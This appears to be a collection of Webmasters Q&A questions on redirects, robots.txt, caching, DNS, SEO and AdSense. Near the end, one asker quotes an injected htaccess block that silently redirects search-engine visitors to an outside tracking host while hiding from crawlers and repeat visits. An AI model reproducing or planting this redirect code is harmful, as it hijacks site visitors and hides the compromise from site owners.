Cannot submit change of address to subdomain in Google Webmaster Tools?

I am pointing several domains to one URL, a URL which happens to include a subdomain. ALL of the domains are using 301 redirects to point to this new address. One of the older domains (which used to be a site) is a 'property' in Webmaster Tools, as is the new site (the one with the subdomain.) When registering a 'Change of Address' for the old site with WebmasterTools, it suggests the following method -   * Set up your content on your new domain. **(done)**   * Redirect content from your old site using 301 redirects. **(done)**   * Add and verify your new site to Webmaster Tools. **(done)** Then, directly below that, to proceed, it says `Tell us the URL of your new domain: Your account doesn't contain any sites we can use for a change of address. Add and verify the new site, then try again.` I have already submitted and verified the new site. The only reason I can fathom I am getting this error is because the new site includes a subdomain. Although I don't foresee getting punished for this, as I am correctly 301 redirecting traffic anyway, I'm curious as to why the Change of Address submission isn't working appropriately for me. Has anyone else had experience with this?


Is it safe to manipulate with DOM (using JavaScript) to move up in the search results?

I have some text written for SEO purposes and it is located right after the opening body tag, so it is at the top of the page. That doesn't look great so this text is moved to the bottom of the page with JavaScript. As far as I know Googlebots don't understand JavaScript perfectly so they see this text at the top of the page and user sees this text in his browser at the bottom of the page. Is it safe and does it make sense or not?


Buy a domain name (without hosting) and host emails on a different provider

I bought a domain name on a registrar's website for a cheap price but it didn't include hosting. Now I realized I'd like to have emails sent to `me@mydomain.com`. My friend has a hosting account and he would host my emails for me, but is there any way for him to do so without being in control of my domain? Note also, that I also can't transfer the domain name to him since I've owned it for less than 60 days


Google doesn't list the links to my website

It is more than a month that there are 24+ links listed on my Google Webmasters Tools account. However, when I use Google like this: `link:m.a.sharpasand.com` none of them appears. Also, my PageRank is zero. I have tried different variations of with and without `www` but it doesn't work. My website is on a subdomain but I don't think that it is a factor because I have forwarded the main domain with moved permanently. Its address is: `m.a.sharpasand.com`.


How can I use .htaccess to rewrite different domains to different sub-directories, masking the sub-directory?

I have a shared hosting plan that allows unlimited addon domains, but they can only point to the public root (/). I use `.htaccess` to point different domains to their corresponding sub-directories. For example, site1.com points to sub-directory `/site1/`   site2.com points to sub-directory `/site2/` I don't want the user to see `site1/` or `site2/`. My .htaccess below **_almost_** works. If the user goes to a subdirectory like `site2.com/test/` (notice the trailing slash **/** ), it works great. But if the user leaves out the trailing slash it shows `site2.com/site2/test/` in the browser. So my question boils down to, how can I mask the sub-directory whether or not the user types the trailing slash? My root `.htaccess` looks like this (only with more domains, all in the same 3-lines per domain format)               RewriteEngine On          RewriteCond %{HTTP_HOST} ^(www.)?site1.com$ [NC]     RewriteCond %{REQUEST_URI} !site1/ [NC]     RewriteRule ^(.*)$ /site1/$1 [L]          RewriteCond %{HTTP_HOST} ^(www.)?site2.com$ [NC]     RewriteCond %{REQUEST_URI} !site2/ [NC]     RewriteRule ^(.*)$ /site2/$1 [L]      I've tried many things, from different online sources, but nothing works. One thing that almost worked (notice the trailing slash after `$1`):               RewriteRule ^(.*)$ /site2/$1/ [L]      This works correctly when the filename is omitted - `site2.com/test/` - but if you go to `site2.com/test/index.php` it says "No input file specified." The only file in root is .htaccess, everything else is in sub-directories. Edit: Rewrote question, omitting irrelevant details.


Am I allowed to save basic user data from Facebook in my own web app's database?

In general my app deals with data that is unrelated to Facebook but also includes a Graph API based app. So it would be helpful for someone to login with Facebook (without registering in my own web app) and then save their email to allow direct communication with my user's web app. This is not for spam of course.


Alexa Showing Search Traffic turn to 0

Alexa.com showing that Search Traffic turn to 0 since i changed the new website at 1-1-2014 while Google Analytics showing that everything is ok and i still receive traffic from search engines i double checked the robots tags, headers and robots.txt for any blocking , There's not! i am not sure what's the source of the problem and i really need your help because the ranking is getting down. My Website: http://syriaishere.com My Alexa: http://www.alexa.com/siteinfo/syriaishere.com


Is the implementation of a temporary "blackout" like Wikipedia's considered black/white/grey hat SEO?

Currently, Wikipedia is participating in a blackout and going to any content on their site produces a result like this (cropped slightly to dissociate the example from the message behind the example): ![Wikipedia blackout](http://i.stack.imgur.com/srca5.png) However, if I look at the source, I can see the full source of any article (this is the content for the entry on G.I. Joe, I've highlighted elements in the source to indicate things that I would _expect_ to see under normal circumstances): ![source of Wikipedia article on G.I. Joe during blackout](http://i.stack.imgur.com/dxSd0.png) Now, I can't say what Googlebot is seeing (I would _hope_ the same content is being served up to Googlebot, as doing otherwise smacks of what Experts Exchange used to do), but that aside this all seems very grey-hat, even if it is only temporary. So the question is, even if it is only for a short amount of time (in this case, a day) is what kind of SEO practice is it considered to deliver content in this way. Black, white or grey? And if grey, how grey?


How do I change the default font, site-wide in Joomla 1.5?

I'm working with a commercial template: http://templates.entheosweb.com/template_number/30483.asp My client is French speaking, so the font needs to be able to handle special characters in French, which the current font does not at all. I don't see a straightforward way to change the font inside Joomla's admin section.


Translated versions of my website are not indexed by Google - what should I do?

I have developed a web application - at the bottom of the homepage there are links to translated versions of it. You can visit http://www.plancake.com to have an idea of what I am talking about. The links are like this one:   Italiano  They are there for more than 1 month and I have submitted them to Google using the WebMaster tools more than two weeks ago. Thing is that when I search a text from the homepage (from the translated version) in Google my website doesn't come up. What should I do? Building a sitemap.xml is the way to go or that is now outdated and I should do something different? Thanks for your help,   Dan


Could Google Custom Search crawl a domain with just an IP address?

Our staging site currently does not have a domain name for public access, however we do have access over the IP address (like `xx.xx.xxx.xxx`). Could we use Google Custom Search for this site without a domain?


Preventing Google from indexing PDF Files

I sell PDF patterns and when someone types my website and file type PDF in Google, all of my patterns for sale are listed to download for free. I use WordPress and Jigoshop. I need to find a way to block the PDF files from coming up in a Google search but still make them available to download when a customer purchases them. Any ideas?


How does Google have more results than I have pages?

Our site has about 6500 pages. These are kept up to date in our sitemap.xml. When I go to our **Google Webmaster Tools** account I see that Google has indexed about 6000 of our pages. This seems quite accurate. However, when I do a google search for " ** _site:mydomain.com_** " I get back about 11000 results. Last weeks this number was around 6000 but it's almost doubled. What could be the cause of this, and how do I diagnose the issue?


Are WebTrends query Dimensions & Measures fixed for a report?

In viewing a report in WebTrends, I am limited to one dimension if I try to write a query. When looking at the `Countries` report, I see the geographical data I want, but I also want to look at what `OS/Platform`'s are by country. Is there no way to add more Dimensions & Measures? Currently it auto-populates with only `Visits` showing. I don't see an intuitive way to do this query with the way things currently look in this report. Do I have to create another report?


How to compel the browser to get the webpages from a server not from a local cache even if a particular page is frequently requested?

I have been testing a web site but every time I complain to the web developer that I am not able to see on the website which you have recently corrected,he told me that I am seeing that content from the browser cache. I should press F5 and get the recently corrected contents of the webpage. Can I fix something (1) at a web page source code level or (2) at browser level so the browser gets the recent page i.e. from server only not from its cache.


How to use .htaccess to make a subfolder act as a subdomain

I have to make a new site for every subdomain I want to add directly on my host, so I'd like to make them subfolders and redirect like this so they look like subdomains anyway. For example, how could I (or could I at all?) use .htaccess to do the following: Make -website.com/subfolder/ into -subfolder.website.com/ Is this possible?


404 errors versus SEO

I have a WordPress website in which people can link to existing or non- existing posts. So people can make links and they can link to pages/posts that don't exist. I explicitly made this possible, because it is in favour of my site and users. You might ask how my 404 error page looks like... Well, it has a search box and it gives the error. Beside that, I have installed a plugin that will automatically redirect to related posts if the URL looks like a post that already exists. My question would be: is my 404 error good enough and what about the plugin? How will this affect the _SEO_ of my site? _When is a 404 page a good thing?_


Saving a Google API-generated dynamic map to a static image

I have a series of coordinates data which I plot onto an API-generated heatmap visualization using Google Maps API. The data changes daily, and I'd like to capture the heatmap and save it as a PNG or JPG image programmatically from within PHP so that a particular day's map can be recalled without regenerating the map and a number of maps could be sequenced together to show the changes animated over a given time period. I also need to be able to export a PDF report including a heatmap and this obviously would not work with a dynamic webpage frame. Does anyone know of a way to save the generated Google heatmap to a static PNG or JPG file, other than manually taking a screenshot and then cropping it to the bounds of the map? Alternatively, does anyone know of an alternate tool for plotting coordinates onto a map and producing visualisations from this such as heatmaps, ideally from within PHP?


Why was :contains not included in the css3 spec?

There was apparently a `:contains` selector proposed at some point, but was dropped. I've searched all over, but I can't seem to find anything which gives any more info than this. Why was this selector not included in the css3 spec?


What does an empty list of "IP Address and Domain Restrictions" mean?

In IIS 7 for a certain subfolder of a web application. Does an empty list imply a "deny all" or an "allow all"?


How long can a site be stuck in the Google sandbox?

I have recently made a new website, built over 300+ links to it (which finally shown up on google webmaster tools btw), but it seems my site is in the sandbox. My site doesn't appear in the results even when I search for "domain.com". It used to appear though, so that's why I speculate this. My site is indexed so it's not that much of a problem. All I want to know is how long do sites remain in the sandbox. A couple of weeks, months? I'm questioning this because this a time sesntisve website, meaning that if it doesn't rank for the keyword(s) by a certain time, it will be worthless. Please don't tell me, "oh, it takes months to rank for keywords", because I researched my competition and keywords nicely, and have built over 300 links to my site for my keywords already.


Page Rank Impact On 301 redirecting a directory (folder) to a new domain?

I write a lot about programming and Linux, especially because I am relatively new to both of them. But now, I would like to separate them both - - programming stuff on the same domain (say example.com), but move and 301 redirect Linux stuff (currently at example.com/linux/) to a new domain (say linuxeg.com). As of now, example.com has a pagerank of 4. Will linuxeg.com get a PR of 4? Precisely, I will be redirecting a directory to a new domain. So, will the new domain carry the pagerank and power of the directory? I am looking forward to a knowledgeable answer for this.


Can server break clients' cache settings?

I have disputed a domain name to a cybersquatter that I expect to recover soon. The problem is that the cybersquatter has changed the cache headers and now every user who already visited the site or is going to visit the site until the domain name is given back, can see the same page until 2016. A lot of the traffic of the site comes from Google, I will fix that by moving the domain with Error 301 and the webmasters tools. But how about those users who access directly to the site? Is there any way (I guess not) to break the client's cache settings (even the homepage is cached)? Thank you!


Why is Apache Tomcat Hosting always more expensive than other kinds of hosting?

I've looked around, and it always appears that Tomcat hosting is more rare and expensive than other kinds of hosting, why is this?


Domain from A and hosting from B

I have buyed domain from one company and hosting from another. On hosting company website finded DNS addresses and applied them to domain hosting website(changed DNS) I done it yesterday, so today it should work, but: **Unable to resolve the server's DNS address** appears. In direct admin control panel (DNS control) i have (it's my hosting company settings): http://pastebin.com/MGbQ02hr Note: IP and domain hidden! Any ideas whats wrong ?


Automatic exchange of synonyms for SEO?

If I have a website that targets a certain audience, but the keywords that are being searched for have a lot of synonyms that are being used equally often, would it make sense to exchange these words on my page on every user visit? For example, I want to optimize for the keywords "seminar", "training", "workshop" (and maybe some more). Using all of the keywords on the same page without enumerating them is difficult, especially if there is not a lot of text on the page.   * Would it be a good idea to swap these words for SEO everytime the page is called?   * Is that somehow frowned upon and penalized by search engines?   * Would that actually do any good, or would it just lower my ranking for each of these keywords because each of them is shown less often?


Linking to Wikipedia. What’s the impact on SEO?

I have a content generated site and I am planning to write a tool that data mines the content and links it to relevant articles on Wikipedia I wanted to understand the SEO cost of doing this link. Is there a negative impact? If there is a negative impact do you recommend linking with nofollow?


Admin: Remove user from group

I was wondering how you can remove a user from a group in the admin. Seems I can add them to a group fine but if you only have one group it seems you can't deselect it?


Free SEO tools for competitor analysis?

Are there any free tools for competitor analysis?   1. I want to find out keywords that a site is optimized for by typing in a URL   2. I want to find out competition (a number) for a given phrase or keyword - Google Keyword tool gives a visual bar. I need a number so I can sort the data in Excel


What is Google Bot's default HTTP_ACCEPT_LANGUAGE?

The default language of my site gets loaded depending on this value:               $_SERVER['HTTP_ACCEPT_LANGUAGE']      If Google US indexes my site, will it use the 'us' lang?


How to correctly deal with corporate customers that have outdated browsers

Many of our customers are on corporate networks where they have no control over their browser versions, etc. We have a Wordpress site that doesn't play well with IE8. We cannot inform the customers to upgrade because they can't. How should we deal with this?


How do I create a changing content paragraph in an html, like news sections which change every day, or hour or mins?

How do I create a changing content paragraph in an html web page, like news section which get changed every day, or hour or mins?


How to fix robots.txt file error in my GWT?

In my blog’s Webmaster Tools, there is a notification in _Crawl Errors_ section, that is Google couldn't crawl your site because we were unable to access the _robots.txt_ file. My blog’s _robots.txt_ file is:               User-agent: Mediapartners-Google     Disallow:      User-agent: *     Disallow: /search     Allow: /          Sitemap: http://example.blogspot.com/feeds/posts/default?orderby=UPDATED      I don’t think the above file details are wrong but I don’t understand why I received such dangerous notification? How to fix this issue? See my _robots.txt_ file.


How do I create a background image on web page?

I am a new designer so hopefully this question isn't too basic! How do I create a background image on a webpage for a programmer? I designed the page in photoshop and I would like to know how to send the background image (the 25% opacity buildings overlay). I would be happy to send the main image (but it is too large and I imagine would slow the site and loading time drastically). here is the link to the design... http://problemio.com/home_page_1_1.pdf


How to view Web Server Activity via a command line or terminal

Is there a way to monitor the activity of a web server via the command line. I have seen in many movies webmasters watching a command line screen in which data is continuously moving up, seems to me more like a web server activity monitor. Like as seen in this video at 1.48.


How do I make SEO friendly URLs from my PHP pages?

I'm pretty new to this and was wondering how to turn my site URLs into SEO friendly URLs using .htaccess and mod_rewrite? My URLs take the form `mydomain.com/index.php?pid=1&pagename=Some Page` I would like it be `mydomain.com/Some Page` OR `mydomain.com/somepage.html` I know this is possible with mod_rewrite and .htaccess, but I'm having trouble finding an exact answer on how to accomplish this?


Where could I find web designers/ web developers that would like to work together?

Note: _If this isn't the right place, please let me know where I should ask this._ I am working on projects to earn money (in codecanyon and themeforest) and I wanted to know for a while where I could talk and find people in those niches. Are there any sites or forums I should seek? Maybe this could be the right place?


I found a SQL injection bug on a public facing website, what should I do?

I found (ridiculously easy to discover) a SQL injection bug on a public facing website. I strongly suspect that in the same database are stored credit card numbers of their customers (although not mine). I wrote to a service email address but got no response and the site is still on with the same error. What should I do now? Is there any legal requirement for the company to respond/to do something (we are talking about the German branch of an American company)?


Why would you want to own just the MX rights to a website?

I acquired an existing small website not too long ago. When I went to register the domain on google apps, it turned out the domain was already registered and I would need to contact whoever had previously set it up. Which turned out not to be the folks I acquired it from, but instead the original owner who had transferred the site to them. He told me when he originally sold the site, he retained the rights to the MX records. Why would anybody want to do this? He hasn't been associated with the site in years. Is this a common practice?


Where can I find online advertisers that let you place ads in rss feeds?

Looking for online advertisers like google that let you place ads in feeds?


IE9 changes Browser Mode based using domain name or ip address for the url

Update : Tested with IIS6 and IE9 the same problem persisted. using paulmorriss's advice the Browser mode and Document for the page were different, so this problem had nothing to do with IIS6 or 7 but with using IE9 ( Havent tried IE 7, 8 yet). I am developing a site on my machine, and to allow others to view the progress it is being hosted under IIS7 on my local machine. Sames pages look different with IE9 when using localhost,127.0.0.1 or the machine ip than when viewed using the machine name "xpc" I saved the same page and folloing is the section when viewed with localhost,127.0.0.1 or my machine IP :               <META name="Author">     <META name="Copyright">     <META name="Description">      here is the same thing when viewed using http://xpc instead :               <META name=Author>     <META name=Copyright>     <META name=Description>      There is no hardocing of domain name in any way anywhere (as far I have been able to verify), so why is the same page being served in two different ways? Everything works fine when I launch the site from VS2010 development server. Also pages looked identical when viewed with FireFox. So my guess is IIS7 is serving differently for IE(9), but why? Thank you Edit : Related : Tried it but still no joy, force refreshing the page and looking at the source I can see the meta tag but nothing changed, changing to ip adress shows fine.


Responsibility of Service Owner in case of illegal content

It is more of a legal question but related to what you can and are allowed to host on your service/server. How responsible is a server administrator for links on the website that point at illegal content (Copyrighted material mainly, excluding child pornography). I see that google is forced to remove few links from their database due to DMCA breach but how is hosting any links illegal since you don't host the copyrighted material.


is there any way to check if an email sent landed in a spam folder?

In email marketing it's useful to provide a statistic about messages that got across as spam to the people that want to send an email campaign. From what I know so far, it isn't possible to check if an email sent landed in a spam folder. Is there anything that I'm missing? Even something that will work a small percent of the time will do. Any help is much appreciated.


What places give free traffic for an e-commerce website?

One place that I know is Google Product search, which is free and gives quite a lot of traffic when people are searching for products you sell. What other ways are there to get free traffic to your e-commerce website?


How to make dynamic search result page to index?

Suppose i have an internal search engine that works on this parameters               foo.bar/search/?where=Rome&what=restaurant&categories=healthy      that i can dinamically alias to               foo.bar/restaurants/healthy-restaurants-in-rome      This uri will return dynamic results. I want the friendly url to be indexed in google, but the alias will be dynamically generated only when some user will perform a search with the given parameters, and the aliased url will be **not** listed anywhere in my site. Will google be able to crawl the alias? If yes, how? If not, what to do in order to get it indexed?


Do 'Created By' links add values to my website?

I am developing several websites and I usually place a 'created by' link at the bottom next to copyright to promote my job. Is this a valuable link? Even if it comes from completely different sites (e-shops, forums, blogs, company pages etc)?


include() or get_file_contents() which is better?

i am developing a function which return a value on give file name but `include()` in not return able which function should i use `get_file_contents()` is return able function or is there is any other class or function which return a value of given file               function  myfunction($file){     $get = include($file);     return $get;          }      something like this               myfunction('/home/files/test.php');


Domain Expiration when transfer is processing, will I lose it?

I have registered my domain at netfirms.com and the expired date is **10-Feb-2013**. I've started a transfer process to bigrock.com on **08-Feb-2013** and they have charged 1 year renual. All the authentications are done, but BigRock says **"Your current Registrar needs to approve your domain name's transfer. Please wait while this transfer request is processed."** I asked their support center and they told me it will take 5-7 days to process a transfer. Which means my domain will expire within that range of date. I don't want to lose my domain. _Please suggest me what to do now._ * * * I searched all over and found something. According to ICAN FAQ: **Q) My domain name has just expired. Can my registrar require me to pay for a renewal before I can transfer to a new registrar?** _**A)** No. Your new registrar of choice can initiate a transfer request on an expired domain name once they receive the required authorization from you. Expiration or nonrenewal of a domain name is not a valid reason for denial of a transfer request. Note that if the registrar has already begun the deletion process on the domain name and its status shows it to be within a 30-day Redemption Grace Period, the name must be restored. by your current registrar before it can be transferred._ **Is that mean I'm saved?** Please suggest me, I'm in a huge load of tension. Thanks!


How to add AdSense unit in the middle of my blog post on blogger?

I am running a blog on blogger. I have been trying to change the XML template code of my blog. I have tried few methods present on the _following sites_ , but it does not work for me. http://adsinthemiddle.blogspot.com/ and http://djyano.blogspot.com/2008/03/put-your-adsense-in-middle-of-post.html. Still I'm not able to show AdSense in the middle of my post. **Edit:** Finally found a way to do it. Please check the answer.


“Website Cannot Be Found”

I wasn't sure if this was the right place to ask this, but here goes. I was editing a file using filezilla (it's early in the morning where I am, but I wanted to get my project done so I [was] working into the wee hours of the day), and saved, but it didn't save. In fact, it logged me out. I tried logging back in, but it said something weird (I don't remember what). I tried opening my website domain, and it Chrome told me that "Oops! Google Chrome could not find youthunemployment.org". What did I do? Was my site hacked? Can you guys help me? Thank you very much! My website is http://www.youthunemployment.org I used cmd to ping my site, and I got a response. This is my first website I've set up, so I'm really confused. My host is 000webhost.com, and my domain service was namecheap.com. I can still connect (and edit, or so it seems) on c9.io. But I can't view them from the regular browser! I mentioned Google Chrome. The problem is also on IE. I haven't checked other browsers.


Impact of using a CDN Proxy (like Incapsula or Cloudlfare) with numerous websites

We have a network of something like 70 websites. We have one IP by website for SEO reason. We are planning to move to CDN service like Cloudflare, Incapsula or Google PageSpeed Service to speed up our websites. Our concern is that if we do that, it might impact negatively our SEO as our websites are going the same IPs. What do you think?


Robots are still disallowed even without a robots.txt file

I'm having trouble with a website I'm working on. I initially set up a robots.txt file to prevent robots from indexing it while I was working on it. However now its live and the robots.txt rile has been deleted but it still has not been crawled and shows that robots are disallowed access. EVen in the absence of a robots.txt file. The site is a wordpress based website - everything seems to suggest that there should be no block for any crawlers. Running a search for `site:claimsadvicecentre.co.uk` should bring up atleast 5 pages however its only listing the main page. What could be wrong here?


What is the difference between Disallow and Allow?

I had 2 questions in my mind:   1. what is the difference between `Allow` and `Disallow`?    2. which one should I use to allow Google bot for AdSense? > >     User-agent: Mediapartners-Google   >     Disallow: >   >     User-agent: Mediapartners-Google*   >     Allow: / >


Are there any region specific advertising platforms, alternative to AdSense?

I'm wondering if AdSense is the best advertising platform to use for international/multi-lingual websites. When trying an AdSense sandbox preview tool, I have noticed that for example the Chinese version of the site shows _some_ Chinese adverts, but mostly they are English. I have tried searching for "Chinese alternative to AdSense" but can't find anything specific to a region. I suppose I could just try this top 10 list, and see which performs the best?


Error 500 on phpMyAdmin via https from "self-signed certificate"?

I have used Cpanel to generate and install a self-signed certificate for HTTPS and now that I have installed phpMyAdmin once I access phpMyAdmin via HTTPS it throws out an error 500 message. Why is this?


How long does it take for a page to be assigned Google page rank?

The home page of my website has been indexed by Google more than 6 months ago. Some of the internal pages have received a page rank 6 or higher, however, the page rank of the home page remains 0. What might be the reason and is there anything I can do about it? Thanks!


Preventing Cache for Text Content but not for CSS files and Images

I have Wordpress blog that I write blog posts about javascript. I update the same post by generally 12-13 days or so. But sometimes I push updates daily. After I update my article and publish to changes, I go to the article page with Firefox but I see the cached page rather than the updated one. Here is an example post url. http://example.com/?p=1111 This is my response header for the same page if it is first time viewed. ![Response Header](http://i.imgur.com/WgTHxbA.png) After it is viewed first time, if I click in location bar of Firefox and press Return, the page is loaded from cache. Request header is below. Because it is loaded completely from cache it does not have Response Header. ![Request Header](http://i.imgur.com/pUuKIA3.png) It seems clear the Cache-Control might be the main issue but I do only want to prevent page (HTML) cache but not the style and image files. I already have WP-Cache plugin to cache files and I use CDN to serve site images. In this context, I find Firefox useful to load CSS, Javascript and Image files from cache but I do not want Firefox to cache page text context. To get the latest version of my page content, I have to use CTRL + SHIFT + R to force reload the page but this time all CSS, Javascript and image files are also downloaded from server unnecessarily. Is it possible to download page content always from server but load CSS, Javascript and Image file from cache?


Googlebot crawler: URL restricted by robots.txt - how to fix the entries in robots.txt?

I noticed recently that Google is not caching all of the pages on my website. Upon using the Google webmaster diagnostic tool, I realized that some of my pages were being restricted by entries in my robots.txt file. I know some people may frown on the use of wild cards etc, but my web framework generates dynamic URLs - so there is no otherway of 'pattern matching' a set of Urls. I have included both my robots.tx and a list of the ignored URLs here. Hopefully, someone can spot the rule(s) that are restricting Googlebots access to the URLs. First of all, here is a (truncated) list of restricted URLs:               URL Detail Detected     http://www.example.com/community/groups/cat-lovers-united.html?filter=events URL restricted by robots.txt 10/4/10     http://www.example.com/community/knowledge-center/questions/newbie/1/how-to-love-your-cat.html URL restricted by robots.txt 10/4/10     http://www.example.com/community/news/comments/1 URL restricted by robots.txt 10/4/10     http://www.example.com/feeds/blogposts?request_type=comments&id=2 URL restricted by robots.txt 10/4/10     http://www.example.com/news/106/related-headlines?page=1 URL restricted by robots.txt 10/2/10     http://www.example.com/news/search?category=agriculturals&keywords=argentina URL restricted by robots.txt 10/6/10     http://www.example.com/news/submissions/list?site=ibnlive.in.com URL restricted by robots.txt 9/30/10      Here is my robots.txt file:               User-Agent: *     Disallow: /api     Disallow: /api/     Disallow: /logout     Disallow: /logout/     Disallow: /login     Disallow: /login/     Disallow: /registration     Disallow: /registration/     Disallow: /admin/*     Disallow: /news/submit     Disallow: /*/new     Disallow: /*/createnew     Disallow: /*/edit     Disallow: /*/edit/*     Disallow: /*/editprofile     Disallow: /*/delete     Disallow: /*/delete/*     Disallow: /*/update     Disallow: /*/update/     Disallow: /*/submit     Disallow: /*/submit/     Disallow: /*/report     Disallow: /*/report/*     Disallow: /search     Disallow: /search/     Disallow: /controllers/*     Disallow: /community/members/*/joinNetwork     Disallow: /community/admin/*     Disallow: /lostpassword     Disallow: /lostpassword/     Disallow: /registrationComplete     Disallow: /registrationComplete/     Disallow: /accountActivate     Disallow: /accountActivate/     Disallow: /generate-token     Disallow: /create-widget     Disallow: /buttons     Disallow: /accountDeleted     Disallow: /accountSuspended     Disallow: /news/submit     Disallow: /news/process-submission     Disallow: /news/submit/success     Disallow: /news/errorpage     Disallow: /community/members/*/mailinglist/add     Disallow: /community/members/*/editprofile     Disallow: /community/members/*/joinNetwork     Disallow: /community/users/*/follow     Disallow: /community/users/*/unfollow     Disallow: /trustnetwork/createtoken     Disallow: /trustnetwork/applytoken     Disallow: /community/members/*/mail/*     Disallow: /community/mail/*     Disallow: /community/blogs/blogposts/unpublished/*     Disallow: /community/blogs/blogposts/reported/*     Disallow: /tools/pipeline/vote-submitted.html     Disallow: /community/classifieds/replies/*     Disallow: /report     Disallow: /thumbvote     Disallow: /like     Disallow: /dislike     Disallow: /voteRemove     Disallow: /flagAsInteresting     Disallow: /addFavorite     Disallow: /recommend/*     Disallow: /completed-recommendation.html     Disallow: /rate     Disallow: /notify     Disallow: /addTestimonial     Disallow: /comments/update/*     Disallow: /comments/great-comment     Disallow: /community/members/admin/*     Disallow: /community/blogs/blogposts/comments/moderated/*     Disallow: /community/blogs/blogposts/comments/reported/*     Disallow: /community/articles/reported/fetch/*     Disallow: /community/articles/reported/comments/moderated/*     Disallow: /community/articles/comments/reported/*     Disallow: /community/groups/*/requests     Disallow: /community/groups/*/moderation     Disallow: /community/groups/*/headlineMgmt     Disallow: /community/groups/*/pollMgmt     Disallow: /community/groups/*/join     Disallow: /community/groups/*/leave     Disallow: /community/groups/*/shout     Disallow: /community/groups/*/topics/reply/*     Disallow: /community/groups/*/banUser     Disallow: /countries/cities     Disallow: /country/schools     Disallow: /community/knowledge-center/answers/accept     Disallow: /community/knowledge-center/answers/unAccept     Disallow: /requestPassword     Disallow: /restorePassword     Disallow: /restoredPassword     Disallow: /changePassword     Disallow: /changedPassword     Disallow: /adverts/replies/mailbox     Disallow: /security/error403     Disallow: /home/error404     Disallow: /home/disabled-notification     Disallow: /home/error500     Disallow: /*?     Allow: /          Sitemap: http://www.example.com/sitemap-index.xml      It looks ok to me, but obviously, there must be something in the robots.txt which is restricting access to quite a few pages. I will be very grateful if someone can spot the offending lines in my robots.txt file


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The htaccess file looks like this:               # exgocgkctswo     RewriteEngine On     RewriteCond %{REQUEST_METHOD}   ^GET$     RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]     RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fcuk\sYou|Google).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]     RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$     RewriteCond %{HTTPS}            ^off$     RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&i=138ee363&j=315&m=c1ca5d58dda23245366719cd597ac0d5&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]     # exgocgkctswo      Has anyone experienced similar problems? Does someone know what this is and how we can stop it?


How long for Google to index all site maps?

